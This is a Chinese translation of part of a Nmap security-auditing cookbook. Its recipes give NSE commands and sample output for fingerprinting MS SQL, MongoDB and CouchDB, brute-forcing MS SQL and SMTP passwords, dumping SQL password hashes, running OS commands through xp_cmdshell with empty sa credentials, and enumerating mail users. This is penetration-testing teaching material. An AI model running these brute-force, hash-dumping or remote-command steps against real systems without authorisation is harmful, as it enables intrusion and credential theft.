$ nmap -sV --script oracle-sid-brute --script-args oraclesids=/home/pentest/sids.txt <target>
另请参阅
- 暴力破解 Oracle 密码食谱
检索 MS SQL 服务器信息
系统管理员和渗透测试人员通常需要收集尽可能多的主机信息。基于 Microsoft 技术的基础设施中常见 MS SQL 数据库,Nmap 可以帮助我们从中收集信息。
该食谱显示了如何从 MS SQL 服务器检索信息。
如何做...
要通过使用 Nmap 从 MS SQL 服务器检索信息,请运行以下命令:
$ nmap -p1433 --script ms-sql-info <target>
MS SQL 服务器信息,如实例名称、版本号和端口,将包含在脚本输出中:
PORT STATE SERVICE
1433/tcp open ms-sql-s
Host script results:
| ms-sql-info:
| Windows server name: CLDRN-PC
| [192.168.1.102\MSSQLSERVER]
| Instance name: MSSQLSERVER
| Version: Microsoft SQL Server 2011
| Version number: 11.00.1750.00
| Product: Microsoft SQL Server 2011
| TCP port: 1433
|_ Clustered: No
工作原理...
MS SQL 服务器通常在端口 1433 上运行。如果 MS SQL 服务器在该端口上运行,我们使用参数-p1433 --script ms-sql-info
来启动 NSE 脚本ms-sql-info
。
脚本ms-sql-info
由 Chris Woodbury 和 Thomas Buchanan 提交。它连接到 MS SQL 服务器并检索实例名称、版本名称、版本号、产品名称、服务包级别、补丁列表、TCP/UDP 端口以及是否集群。如果可用,它会从 SQL Server Browser 服务(UDP 端口 1434)或从服务的探测中收集此信息。
还有更多...
如果端口 445 打开,您可以使用它通过管道检索信息。需要设置参数mssql.instance-name
或mssql.instance-all
:
$ nmap -sV --script-args mssql.instance-name=MSSQLSERVER --script ms-sql-info -p445 -v <target>
$ nmap -sV --script-args mssql.instance-all --script ms-sql-info -p445 -v <target>
输出如下:
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn
Host script results:
| ms-sql-info:
| Windows server name: CLDRN-PC
| [192.168.1.102\MSSQLSERVER]
| Instance name: MSSQLSERVER
| Version: Microsoft SQL Server 2011
| Version number: 11.00.1750.00
| Product: Microsoft SQL Server 2011
| TCP port: 1433
|_ Clustered: No
仅在 MS SQL 的 NSE 脚本中强制扫描端口
NSE 脚本ms-sql-brute
,ms-sql-config.nse
,ms-sql-empty-password
,ms-sql-hasdbaccess.nse,ms-sql-info.nse
,ms-sql-query.nse
,ms-sql-tables.nse
和ms-sql-xp-cmdshell.nse
可能尝试连接到未包括在您的扫描中的端口。要限制 NSE 仅使用扫描的端口,请使用参数mssql.scanned-ports-only
:
$ nmap -p1433 --script-args mssql.scanned-ports-only --script ms-sql-* -v <target>
另请参阅
-
暴力破解 MS SQL 密码食谱
-
转储 MS SQL 服务器的密码哈希食谱
-
通过 MS SQL 服务器的命令 shell 运行命令食谱
-
在 MS SQL 服务器上查找空密码的 sysadmin 帐户食谱
暴力破解 MS SQL 密码
系统管理员和渗透测试人员通常需要检查弱密码,作为组织安全政策的一部分。Nmap 可以帮助我们对 MS SQL 服务器执行字典攻击。
本食谱介绍了如何使用 Nmap 对 MS SQL 服务器执行暴力破解密码审计。
操作步骤...
对 MS SQL 服务器执行暴力破解密码审计,运行以下 Nmap 命令:
$ nmap -p1433 --script ms-sql-brute <target>
如果找到任何有效帐户,它们将包含在脚本输出部分中:
PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-brute:
| [192.168.1.102:1433]
| Credentials found:
|_ sa:<empty>
工作原理...
MS SQL 服务器通常在 TCP 端口 1433 上运行。如果在端口 1433 上发现运行中的 MS SQL 服务器,参数-p1433 --script ms-sql-brute
将启动 NSE 脚本ms-sql-brute
。
脚本ms-sql-brute
由 Patrik Karlsson 编写。它对 MS SQL 数据库执行暴力破解密码审计。此脚本依赖于库mssql
。您可以在http://nmap.org/nsedoc/lib/mssql.html
了解更多信息。
还有更多...
数据库服务器可能在非标准端口上运行。您可以通过指定-p
参数手动设置端口,也可以使用 Nmap 的服务检测:
$ nmap -sV --script ms-sql-brute <target>$ nmap -p1234 --script ms-sql-brute <target>
请记住,如果 SMB 端口打开,我们可以使用管道来通过设置参数mssql.instance-all
或mssql.instance-name
来运行此脚本:
$ nmap -p445 --script ms-sql-brute --script-args mssql.instance-all <target>
输出如下:
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| ms-sql-brute:
| [192.168.1.102\MSSQLSERVER]
| Credentials found:
|_ sa:<empty> => Login Success
脚本ms-sql-brute
依赖于 NSE 库unpwdb
和brute
。这些库有几个脚本参数,可用于调整暴力破解密码审计。
- 要使用不同的用户名和密码列表,设置参数
userdb
和passdb
:
$ nmap -p1433 --script ms-sql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>
- 要在找到一个有效帐户后退出,请使用参数
brute.firstOnly
:
$ nmap -p1433 --script ms-sql-brute --script-args brute.firstOnly <target>
- 要设置不同的超时限制,请使用参数
unpwd.timelimit
。要无限期运行,请将其设置为0
:
$ nmap -p1433 --script ms-sql-brute --script-args unpwdb.timelimit=0 <target>$ nmap -p1433 --script ms-sql-brute --script-args unpwdb.timelimit=60m <target>
暴力模式
暴力库支持不同的模式,可改变攻击中使用的用户名/密码组合。可用的模式有:
user
:对于userdb
中列出的每个用户,将尝试passdb
中的每个密码
$ nmap --script ms-sql-brute --script-args brute.mode=user <target>
pass
:对于passdb
中列出的每个密码,将尝试userdb
中的每个用户
$ nmap --script ms-sql-brute --script-args brute.mode=pass <target>
creds
:这需要额外的参数brute.credfile
$ nmap --script ms-sql-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
另请参阅
-
检索 MS SQL 服务器信息食谱
-
转储 MS SQL 服务器的密码哈希食谱
-
通过 MS SQL 服务器的命令 shell 运行命令食谱
-
在 MS SQL 服务器上查找空密码的 sysadmin 帐户食谱
转储 MS SQL 服务器的密码哈希
获得对 MS SQL 服务器的访问权限后,我们可以转储 MS SQL 服务器的所有密码哈希以破坏其他帐户。Nmap 可以帮助我们以可供John the Ripper破解工具使用的格式检索这些哈希。
此教程显示了如何使用 Nmap 转储 MS SQL 服务器的可破解密码哈希。
如何做...
要转储具有空 sysadmin 密码的 MS SQL 服务器的所有密码哈希,请运行以下 Nmap 命令:
$ nmap -p1433 --script ms-sql-empty-password,ms-sql-dump-hashes <target>
密码哈希将包含在ms-sql-dump-hashes
脚本输出部分中:
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2011
Service Info: CPE: cpe:/o:microsoft:windows
Host script results:
| ms-sql-empty-password:
| [192.168.1.102\MSSQLSERVER]
|_ sa:<empty> => Login Success
| ms-sql-dump-hashes:
| [192.168.1.102\MSSQLSERVER]
| sa:0x020039AE3752898DF2D260F2D4DC7F09AB9E47BAB2EA3E1A472F49520C26E206D0613E34E92BF929F53C463C5B7DED53738A7FC0790DD68CF1565469207A50F98998C7E5C610
| ##MS_PolicyEventProcessingLogin##:0x0200BB8897EC23F14FC9FB8BFB0A96B2F541ED81F1103FD0FECB94D269BE15889377B69AEE4916307F3701C4A61F0DFD9946209258A4519FE16D9204580068D2011F8FBA7AD4
|_ ##MS_PolicyTsqlExecutionLogin##:0x0200FEAF95E21A02AE55D76F68067DB02DB59AE84FAD97EBA7461CB103361598D3683688F83019E931442EC3FB6342050EFE6ACE4E9568F69D4FD4557C2C443243E240E66E10
它是如何工作的...
MS SQL 服务器通常在 TCP 端口 1433 上运行。参数-p1433 --script ms-sql-empty-password,ms-sql-dump-hashes
启动脚本ms-sql-empty-password
,该脚本找到一个空的 root sysadmin 帐户,然后在端口 1433 上运行脚本ms-sql-dump-hashes
。
ms-sql-dump-hashes
脚本由 Patrik Karlsson 编写,其功能是检索 MS SQL 服务器的密码哈希,以便像 John the Ripper 这样的破解工具使用。此脚本依赖于mssql
库。您可以在http://nmap.org/nsedoc/lib/mssql.html
了解更多信息。
还有更多...
如果 SMB 端口打开,您可以使用它通过设置参数mssql.instance-all
或mssql.instance-name
来运行此脚本:
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| ms-sql-empty-password:
| [192.168.1.102\MSSQLSERVER]
|_ sa:<empty> => Login Success
| ms-sql-dump-hashes:
| [192.168.1.102\MSSQLSERVER]
|
sa:0x020039AE3752898DF2D260F2D4DC7F09AB9E47BAB2EA3E1A472F49520C26E206D0613E34E92BF929F53C463C5B7DED53738A7FC0790DD68CF1565469207A50F98998C7E5C610
| ##MS_PolicyEventProcessingLogin##:0x0200BB8897EC23F14FC9FB8BFB0A96B2F541ED81F1103FD0FECB94D269BE15889377B69AEE4916307F3701C4A61F0DFD9946209258A4519FE16D9204580068D2011F8FBA7AD4
|_ ##MS_PolicyTsqlExecutionLogin##:0x0200FEAF95E21A02AE55D76F68067DB02DB59AE84FAD97EBA7461CB103361598D3683688F83019E931442EC3FB6342050EFE6ACE4E9568F69D4FD4557C2C443243E240E66E10
另请参阅
-
检索 MS SQL 服务器信息教程
-
暴力破解 MS SQL 密码教程
-
在 MS SQL 服务器上通过命令 shell 运行命令教程
-
在 MS SQL 服务器上查找具有空密码的 sysadmin 帐户教程
在 MS SQL 服务器上通过命令 shell 运行命令
MS SQL 服务器有一个名为xp_cmdshell
的存储过程。此功能允许程序员通过 MS SQL 服务器执行命令。当启用此选项时,Nmap 可以帮助我们执行自定义 shell 命令。
此教程显示了如何通过 Nmap 在 MS SQL 服务器上运行 Windows 命令。
如何做...
打开您的终端并输入以下 Nmap 命令:
$ nmap --script-args 'mssql.username="<user>",mssql.password=""' --script ms-sql-xp-cmdshell -p1433 <target>
结果将包含在脚本输出部分中:
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2011 11.00.1750.00
| ms-sql-xp-cmdshell:
| [192.168.1.102:1433]
| Command: net user
| output
| ======
|
| User accounts for \\
|
| -------------------------------------------------------------------------------
| Administrator cldrn Guest
| postgres
| The command completed with one or more errors.
|
|_
它是如何工作的...
MS SQL 服务器通常在 TCP 端口 1433 上运行。参数--script-args 'mssql.username="<user>",mssql.password=""' --script ms-sql-xp-cmdshell -p1433
使 Nmap 启动脚本ms-sql-xp-cmdshell
,然后设置要在端口 1433 上运行的 MS SQL 服务器使用的身份验证凭据。
ms-sql-xp-cmdshell
脚本由 Patrik Karlsson 编写。它尝试通过在 MS SQL 服务器上找到的存储过程xp_cmdshell
运行 OS 命令。此脚本依赖于mssql
库。其文档可以在nmap.org/nsedoc/lib/mssql.html
找到。
还有更多...
默认情况下,ms-sql-xp-cmdshell
将尝试运行命令ipconfig /all
,但您可以使用脚本参数ms-sql-xp-cmdshell.cmd
指定不同的命令:
$ nmap --script-args 'ms-sql-xp-cmdshell.cmd="<command>",mssql.username="<user>",mssql.password=""' --script ms-sql-xp-cmdshell -p1433 <target>
如果服务器没有启用xp_cmdshell
过程,则应该看到以下消息:
| ms-sql-xp-cmdshell:
| (Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change command.)
| [192.168.1.102\MSSQLSERVER]
|_ Procedure xp_cmdshell disabled. For more information see "Surface Area Configuration" in Books Online.
如果您没有提供任何有效的身份验证凭据,将显示以下消息:
| ms-sql-xp-cmdshell:
| [192.168.1.102:1433]
|_ ERROR: No login credentials.
请记住,您可以将此脚本与ms-sql-empty-password
结合使用,以自动检索具有空密码的 sysadmin 帐户的 MS SQL 服务器的网络配置:
$ nmap --script ms-sql-xp-cmdshell,ms-sql-empty-password -p1433 <target>
另请参阅
-
检索 MS SQL 服务器信息教程
-
暴力破解 MS SQL 密码教程
-
转储 MS SQL 服务器的密码哈希教程
-
在 MS SQL 服务器上通过命令 shell 运行命令教程
在 MS SQL 服务器上查找具有空密码的 sysadmin 帐户
渗透测试人员经常需要检查是否有管理帐户具有弱密码。借助 Nmap NSE 的一些帮助,我们可以轻松地检查是否有主机(或主机)具有具有空密码的 sysadmin 帐户。
这个教程教会我们如何使用 Nmap 查找具有空 sysadmin 密码的 MS SQL 服务器。
如何做...
要查找具有空sa
帐户的 MS SQL 服务器,请打开终端并输入以下 Nmap 命令:
$ nmap -p1433 --script ms-sql-empty-password -v <target>
如果找到具有空密码的帐户,它将包含在脚本输出部分中:
PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-empty-password:
| [192.168.1.102:1433]
|_ sa:<empty> => Login Success
它是如何工作的...
参数-p1433 --script ms-sql-empty-password
使 Nmap 在发现端口 1433 上运行的 MS SQL 服务器时启动 NSE 脚本ms-sql-empty-password
。
脚本ms-sql-empty-password
由 Patrik Karlsson 提交,并由 Chris Woodbury 改进。它尝试使用用户名sa
(系统管理员帐户)和空密码连接到 MS SQL 服务器。
还有更多...
如果端口 445 打开,您可以使用它通过管道检索信息。需要设置参数mssql.instance-name
或mssql.instance-all
:
$ nmap -sV --script-args mssql.instance-name=MSSQLSERVER --script ms-sql-empty-password -p445 -v <target>
$ nmap -sV --script-args mssql.instance-all --script ms-sql-empty-password -p445 -v <target>
输出将如下所示:
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn
Host script results:
| ms-sql-empty-password:
| [192.168.1.102\MSSQLSERVER]
|_ sa:<empty> => Login Success
仅在 MS SQL 的 NSE 脚本中强制扫描端口
NSE 脚本ms-sql-brute
,ms-sql-config.nse
,ms-sql-empty-password
,ms-sql-hasdbaccess.nse,ms-sql-info.nse
,ms-sql-query.nse
,ms-sql-tables.nse
和ms-sql-xp-cmdshell.nse
可能尝试连接到未包含在您的扫描中的端口。要限制 NSE 仅使用扫描的端口,请使用参数mssql.scanned-ports-only
:
$ nmap -p1433 --script-args mssql.scanned-ports-only --script ms-sql-* -v <target>
另请参阅
-
检索 MS SQL 服务器信息的方法
-
暴力破解 MS SQL 密码的方法
-
转储 MS SQL 服务器的密码哈希的方法
-
在 MS SQL 服务器上通过命令行运行命令的方法
列出 MongoDB 数据库
MongoDB 可能在单个安装中包含多个数据库。列出数据库对系统管理员和渗透测试人员都很有用,而且有一个 NSE 脚本可以让他们轻松地甚至自动地执行此操作。
此方法描述了如何使用 Nmap 列出 MongoDB 中的数据库。
如何做到这一点...
通过使用 Nmap 列出 MongoDB 数据库,输入以下命令:
$ nmap -p 27017 --script mongodb-databases <target>
数据库将显示在脚本输出部分中:
PORT STATE SERVICE
27017/tcp open mongodb
| mongodb-databases:
| ok = 1
| databases
| 1
| empty = true
| sizeOnDisk = 1
| name = local
| 0
| empty = true
| sizeOnDisk = 1
| name = admin
| 3
| empty = true
| sizeOnDisk = 1
| name = test
| 2
| empty = true
| sizeOnDisk = 1
| name = nice%20ports%2C
|_ totalSize = 0
它是如何工作的...
如果在端口 27017 上发现运行中的 MongoDB 服务器,则启动 NSE 脚本mongodb-databases
(-p 27017 --script mongodb-databases
)。
脚本mongodb-databases
由 Martin Holst Swende 提交,它尝试列出 MongoDB 安装中的所有数据库。
还有更多...
MongoDB 文档位于www.mongodb.org/display/DOCS/Home
。
此脚本依赖于库mongodb
,其文档可以在nmap.org/nsedoc/lib/mongodb.html
找到。
另请参阅
- 检索 MongoDB 服务器信息的方法
检索 MongoDB 服务器信息
在对 MongoDB 安装进行安全评估时,可以提取构建信息,如系统详细信息和服务器状态,包括可用连接数,正常运行时间和内存使用情况。
此方法描述了如何使用 Nmap 从 MongoDB 安装中检索服务器信息。
如何做到这一点...
打开你的终端并输入以下 Nmap 命令:
# nmap -p 27017 --script mongodb-info <target>
MongoDB 服务器信息将包含在脚本输出部分中:
PORT STATE SERVICE
27017/tcp open mongodb
| mongodb-info:
| MongoDB Build info
| ok = 1
| bits = 64
| version = 1.2.2
| gitVersion = nogitversion
| sysInfo = Linux crested 2.6.24-27-server #1 SMP Fri Mar 12 01:23:09 UTC 2010 x86_64 BOOST_LIB_VERSION=1_40
| Server status
| mem
| resident = 4
| virtual = 171
| supported = true
| mapped = 0
| ok = 1
| globalLock
| ratio = 3.3333098126169e-05
| lockTime = 28046
| totalTime = 841385937
|_ uptime = 842
它是如何工作的...
参数-p 27017 --script mongodb-info
使 Nmap 在发现端口 27017 上运行的服务时启动 NSE 脚本mongodb-info
。
脚本mongodb-info
由 Martin Holst Swende 编写。它返回服务器信息,包括 MongoDB 数据库的状态和构建详细信息。
还有更多...
MongoDB 文档位于www.mongodb.org/display/DOCS/Home
。
此脚本依赖于库mongodb
,其文档可以在nmap.org/nsedoc/lib/mongodb.html
找到。
另请参阅
- 列出 MongoDB 数据库的方法
列出 CouchDB 数据库
CouchDB 安装可能包含许多数据库。 Nmap 为渗透测试人员或系统管理员提供了一种轻松列出可用数据库的方法,他们可能需要监视恶意数据库。
这个食谱将向您展示如何使用 Nmap 列出 CouchDB 服务器中的数据库。
如何做...
要使用 Nmap 列出 CouchDB 安装中的所有数据库,请输入以下命令:
# nmap -p5984 --script couchdb-databases <target>
结果将包括 CouchDB 在couchdb-databases
输出部分返回的所有数据库:
PORT STATE SERVICE VERSION
5984/tcp open httpd Apache CouchDB 0.10.0 (Erlang OTP/R13B)
| couchdb-databases:
| 1 = nmap
|_ 2 = packtpub
它是如何工作的...
参数-p5984 --script couchdb-databases
告诉 Nmap 如果在端口 5984 上发现正在运行的 CouchDB HTTP 服务,则启动 NSE 脚本couchdb-databases
。
脚本couchdb-databases
由 Martin Holst Swende 编写,它列出了 CouchDB 服务中所有可用的数据库。它查询 URI/_all_dbs
,并从返回的数据中提取信息:
["nmap","packtpub"]
还有更多...
您可以通过访问wiki.apache.org/couchdb/HTTP_database_API
了解有关 CouchDB HTTP 使用的 API 的更多信息。
另请参阅
- 检索 CouchDB 数据库统计信息食谱
检索 CouchDB 数据库统计信息
CouchDB HTTP 服务器可以返回对系统管理员非常有价值的统计信息。这些信息包括每秒请求次数、大小和其他有用的统计信息。幸运的是,Nmap 提供了一种简单的方法来检索这些信息。
这个食谱描述了如何使用 Nmap 检索 CouchDB HTTP 服务的数据库统计信息。
如何做...
打开您的终端并使用以下参数运行 Nmap:
# nmap -p5984 --script couchdb-stats 127.0.0.1
结果将包括在脚本输出部分中:
PORT STATE SERVICE
5984/tcp open httpd
| couchdb-stats:
| httpd_request_methods
| PUT (number of HTTP PUT requests)
| current = 2
| count = 970
| GET (number of HTTP GET requests)
| current = 52
| count = 1208
| couchdb
| request_time (length of a request inside CouchDB without MochiWeb)
| current = 1
| count = 54
| open_databases (number of open databases)
| current = 2
| count = 970
| open_os_files (number of file descriptors CouchDB has open)
| current = 2
| count = 970
| httpd_status_codes
| 200 (number of HTTP 200 OK responses)
| current = 27
| count = 1208
| 201 (number of HTTP 201 Created responses)
| current = 2
| count = 970
| 301 (number of HTTP 301 Moved Permanently responses)
| current = 1
| count = 269
| 500 (number of HTTP 500 Internal Server Error responses)
| current = 1
| count = 274
| httpd
| requests (number of HTTP requests)
| current = 54
| count = 1208
|_ Authentication : NOT enabled ('admin party')
它是如何工作的...
参数-p5984 --script couchdb-stats
告诉 Nmap 如果 CouchDB HTTP 服务器正在运行,则启动 NSE 脚本couchdb-stats
。
脚本couchdb_stats
由 Martin Holst Swende 提交,它只执行一个任务:检索 CouchDB HTTP 服务的运行时统计信息。它通过请求 URI/_stats/
并解析服务器返回的序列化数据来实现这一点:
{"current":1,"count":50,"mean":14.28,"min":0,"max":114,"stddev":30.40068420282675,"description":"length of a request inside CouchDB without MochiWeb"}
还有更多...
如果您发现一个没有受到身份验证保护的安装,您还应该检查以下 URI:
-
/_utils/
-
/_utils/status.html
-
/_utils/config.html
您可以通过访问wiki.apache.org/couchdb/Runtime_Statistics
了解有关 CouchDB HTTP 服务器的运行时统计信息。
另请参阅
- 列出 CouchDB 数据库食谱
第六章:审计邮件服务器
注意
本章向您展示了如何执行在许多情况下可能是非法、不道德、违反服务条款或只是不明智的一些操作。这里提供这些信息是为了让您了解如何保护自己免受威胁,并使自己的系统更加安全。在遵循这些说明之前,请确保您站在法律和道德的一边...运用您的力量为善!
在本章中,我们将涵盖:
-
使用 Google 搜索发现有效的电子邮件帐户
-
检测开放中继
-
暴力破解 SMTP 密码
-
在 SMTP 服务器中枚举用户
-
检测后门 SMTP 服务器
-
暴力破解 IMAP 密码
-
检索 IMAP 邮件服务器的功能
-
暴力破解 POP3 密码
-
检索 POP3 邮件服务器的功能
-
检测易受攻击的 Exim SMTP 服务器版本 4.70 至 4.75
介绍
邮件服务器几乎在任何组织中都可以使用,因为电子邮件已经成为首选的通信渠道,原因显而易见。邮件服务器的重要性取决于其中存储的信息。攻击者经常会入侵电子邮件帐户,并继续接管几乎每个网络应用程序中都有的“忘记密码”功能找到的所有其他帐户。有时,被入侵的帐户会在数月内被窃听,而没有人注意到,甚至可能被垃圾邮件发送者滥用。因此,任何优秀的系统管理员都知道拥有安全的邮件服务器是至关重要的。
在本章中,我将介绍不同的 NSE 任务,用于管理和监控邮件服务器。我还将展示渗透测试人员可用的攻击性方法。我们将涵盖最流行的邮件协议,如 SMTP、POP3 和 IMAP。
我们将回顾任务,如检索功能、枚举用户、暴力破解密码,甚至利用易受攻击的 Exim 服务器。最后,您还将学习如何使用 Nmap 自动抓取搜索引擎(如 Google Web 和 Google Groups)的电子邮件帐户,以收集我们可以在暴力破解攻击中使用的有效电子邮件帐户。
使用 Google 搜索发现有效的电子邮件帐户
查找有效的电子邮件帐户是渗透测试中的重要任务。电子邮件帐户经常用作某些系统和网络应用程序中的用户名。攻击者经常针对其中存储的高度敏感信息。
本教程向您展示了如何使用 Nmap 发现有效的电子邮件帐户,这些帐户可以用作某些网络应用程序中的用户名,也可以用于暴力破解密码审核,以查找弱凭据。
准备工作
对于此任务,我们需要一个 Nmap 官方未分发的 NSE 脚本。从seclists.org/nmap-dev/2011/q3/att-401/http-google-email.nse
下载 NSE 脚本http-google-search.nse
。
通过执行以下命令更新您的 NSE 脚本数据库:
# nmap --script-updatedb
将显示以下消息:
NSE: Updating rule database.
NSE: Script Database updated successfully.
如何做...
要使用 Nmap 通过 Google 搜索和 Google Groups 查找有效的电子邮件帐户,请输入以下命令:
$ nmap -p80 --script http-google-email <target>
找到的所有电子邮件帐户都将包含在脚本输出部分:
$ nmap -p80 --script http-google-email insecure.org
PORT STATE SERVICE
80/tcp open http
| http-google-email:
| fyodor@insecure.org
|_nmap-hackers@insecure.org
它是如何工作的...
NSE 脚本http-google-email
由 Shinook 编写。它使用搜索引擎 Google Web 和 Google Groups 来查找这些服务缓存的公共电子邮件帐户。
该脚本查询以下 URI 以获取结果:
参数-p80 --script http-google-email
告诉 Nmap 在端口 80 上发现 Web 服务器时启动 NSE 脚本http-google-email
。
还有更多...
要仅显示属于某个主机名的结果,请使用脚本参数http-google-email.domain
:
$ nmap -p80 --script http-google-email --script-args http-google-email.domain=<hostname> <target>
要增加要爬行的页面数量,请使用脚本参数http-google-email.pages
。默认情况下,此脚本仅请求五个页面:
$ nmap -p80 --script http-google-email --script-args http-google-email.pages=10 <target>
调试 NSE 脚本
如果运行任何 NSE 脚本时发生意外情况,请打开调试以获取更多信息。Nmap 使用标志-d
进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
暴力破解 SMTP 密码食谱
-
枚举 SMTP 服务器中的用户食谱
-
暴力破解 IMAP 密码食谱
-
暴力破解 POP3 密码食谱
检测开放继电
开放继电器是不安全的邮件服务器,允许第三方域在未经授权的情况下使用它们。它们被垃圾邮件发送者和网络钓鱼者滥用,并对组织造成严重风险,因为公共垃圾邮件黑名单可能会将它们添加并影响整个组织,该组织依赖于电子邮件到达目的地。
该食谱展示了如何使用 Nmap 检测开放继电器。
如何做...
打开终端,输入以下命令:
$ nmap -sV --script smtp-open-relay -v <target>
输出返回通过的测试数量和使用的命令组合:
Host script results:
| smtp-open-relay: Server is an open relay (1/16 tests)
|_MAIL FROM:<antispam@insecure.org> -> RCPT TO:<relaytest@insecure.org>
它是如何工作的...
脚本smtp-open-relay
由 Arturo 'Buanzo' Busleiman 提交,它尝试 16 种不同的测试来确定 SMTP 服务器是否允许开放继电。如果打开了详细模式,它还会返回成功中继电子邮件的命令。
命令组合在脚本中是硬编码的,测试包括目标和源地址的不同字符串格式:
MAIL FROM:<user@domain.com>
250 Address Ok.
RCPT TO:<user@adomain.com>
250 user@adomain.com OK
如果收到 503 响应,脚本将退出,因为这意味着此服务器受到身份验证保护,不是开放继电。
如果端口 25、465 和 587 处于打开状态,或者在目标主机中找到服务smtp
、smtps
或submission
,则脚本smtp-open-relay
将执行(-sV --script smtp-open-relay
)。
还有更多...
您可以通过指定脚本参数smtp-open-relay.ip
和smtp-open-relay.domain
来指定替代 IP 地址或域名:
$ nmap -sV --script smtp-open-relay -v --script-args smtp-open-relay.ip=<ip> <target>
$ nmap -sV --script smtp-open-relay -v --script-args smtp-open-relay.domain=<domain> <target>
通过指定脚本参数smtp-open-relay.to
和smtp-open-relay.from
来指定测试中使用的源和目标电子邮件地址:
$ nmap -sV --script smtp-open-relay -v --script-args smtp-open-relay.to=<Destination email address>,smtp-open-relay.from=<Source email address> <target>
调试 NSE 脚本
如果运行任何 NSE 脚本时发生意外情况,请打开调试以获取更多信息。Nmap 使用标志-d
进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
使用 Google 搜索发现有效的电子邮件帐户食谱
-
枚举 SMTP 服务器中的用户食谱
-
检测后门 SMTP 服务器食谱
-
检索 IMAP 邮件服务器的功能食谱
-
检索 POP3 邮件服务器的功能食谱
-
检测易受攻击的 Exim SMTP 服务器版本 4.70 至 4.75食谱
暴力破解 SMTP 密码
邮件服务器通常存储非常敏感的信息,渗透测试人员需要对其执行暴力破解密码审核,以检查是否存在弱密码。
此食谱将向您展示如何使用 Nmap 对 SMTP 服务器进行字典攻击。
如何做...
要通过 Nmap 对 SMTP 服务器进行字典攻击,输入以下命令:
$ nmap -p25 --script smtp-brute <target>
如果找到任何有效凭据,它们将包含在脚本输出部分中:
PORT STATE SERVICE REASON
25/tcp open stmp syn-ack
| smtp-brute:
| Accounts
| acc0:test - Valid credentials
| acc1:test - Valid credentials
| acc3:password - Valid credentials
| acc4:12345 - Valid credentials
| Statistics
|_ Performed 3190 guesses in 81 seconds, average tps: 39
它是如何工作的...
NSE 脚本smtp-brute
由 Patrik Karlsson 提交。它对 SMTP 服务器执行暴力破解密码审核。它支持以下身份验证方法:LOGIN
、PLAIN
、CRAM-MD5
、DIGEST-MD5
和NTLM
。
默认情况下,脚本使用单词列表/nselib/data/usernames.lst
和/nselib/data/passwords.lst
,但可以轻松更改为使用替代单词列表。
参数-p25 --script smtp-brute
使 Nmap 在端口 25 上发现 SMTP 服务器时启动 NSE 脚本smtp-brute
。
还有更多...
脚本smtp-brute
依赖于 NSE 库unpwdb
和brute
。这些库有几个脚本参数,可用于调整您的暴力破解密码审计。
- 使用不同的用户名和密码列表,设置参数
userdb
和passdb
:
$ nmap -p25 --script smtp-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>
- 在找到一个有效帐户后退出,请使用参数
brute.firstOnly
:
$ nmap -p25 --script smtp-brute --script-args brute.firstOnly <target>
- 要设置不同的超时限制,请使用参数
unpwd.timelimit
。要无限期运行,请将其设置为0
:
$ nmap -p25 --script smtp-brute --script-args unpwdb.timelimit=0 <target>
$ nmap -p25 --script smtp-brute --script-args unpwdb.timelimit=60m <target>
暴力模式
brute 库支持不同的模式,可改变攻击中使用的用户名/密码组合。可用的模式有:
user
:对于userdb
中列出的每个用户,将尝试passdb
中的每个密码
$ nmap --script smtp-brute --script-args brute.mode=user <target>
pass
:对于passdb
中列出的每个密码,将尝试userdb
中的每个用户
$ nmap --script smtp-brute --script-args brute.mode=pass <target>
creds
:这需要额外的参数brute.credfile
$ nmap --script smtp-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
调试 NSE 脚本
如果运行任何 NSE 脚本时发生意外情况,请打开调试以获取更多信息。 Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
使用 Google 搜索发现有效的电子邮件帐户配方
-
在 SMTP 服务器中枚举用户配方
-
暴力破解 IMAP 密码配方
-
检索 IMAP 邮件服务器的功能配方
-
暴力破解 POP3 密码配方
-
检索 POP3 邮件服务器的功能配方
在 SMTP 服务器中枚举用户
在 Web 应用程序中,使用电子邮件帐户作为用户名非常常见,当审计邮件服务器时,找到它们是必要的任务。通过 SMTP 命令枚举用户可以获得出色的结果,多亏了 Nmap 脚本引擎,我们可以自动化这项任务。
此配方显示如何使用 Nmap 列举 SMTP 服务器上的用户。
如何做...
通过使用 Nmap 在 SMTP 服务器上枚举用户,输入以下命令:
$ nmap -p25 –script smtp-enum-users <target>
找到的任何用户名都将包含在脚本输出部分中:
Host script results:
| smtp-enum-users:
|_ RCPT, webmaster
工作原理...
脚本smtp-enum-users
由 Duarte Silva 编写,它尝试使用 SMTP 命令RCPT
,VRFY
和EXPN
在 SMTP 服务器中枚举用户。
SMTP 命令RCPT
,VRFY
和EXPN
可用于确定邮件服务器上帐户是否存在。让我们只看一下VRFY
命令,因为它们都以类似的方式工作:
VRFY root
250 root@domain.com
VRFY eaeaea
550 eaeaea... User unknown
请注意,此脚本仅适用于不需要身份验证的 SMTP 服务器。如果是这种情况,您将看到以下消息:
| smtp-enum-users:
|_ Couldn't perform user enumeration, authentication needed
还有更多...
您可以使用脚本参数smtp-enum-users.methods
选择要尝试的方法(RCPT
,VRFY
和EXPN
)以及尝试它们的顺序:
$ nmap -p25 –script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} <target>
$ nmap -p25 –script smtp-enum-users --script-args smtp-enum-users.methods={RCPT, VRFY} <target>
要在 SMTP 命令中设置不同的域,请使用脚本参数smtp-enum-users.domain
:
$ nmap -p25 –script smtp-enum-users --script-args smtp-enum-users.domain=<domain> <target>
脚本smtp-enum-users
依赖于 NSE 库unpwdb
和brute
。这些库有几个脚本参数,可用于调整您的暴力破解密码审计。
